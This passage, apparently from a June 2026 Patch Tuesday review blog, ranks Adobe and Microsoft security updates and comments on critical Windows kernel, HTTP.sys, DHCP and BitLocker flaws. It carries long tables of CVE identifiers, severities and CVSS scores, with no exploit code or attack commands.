 \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  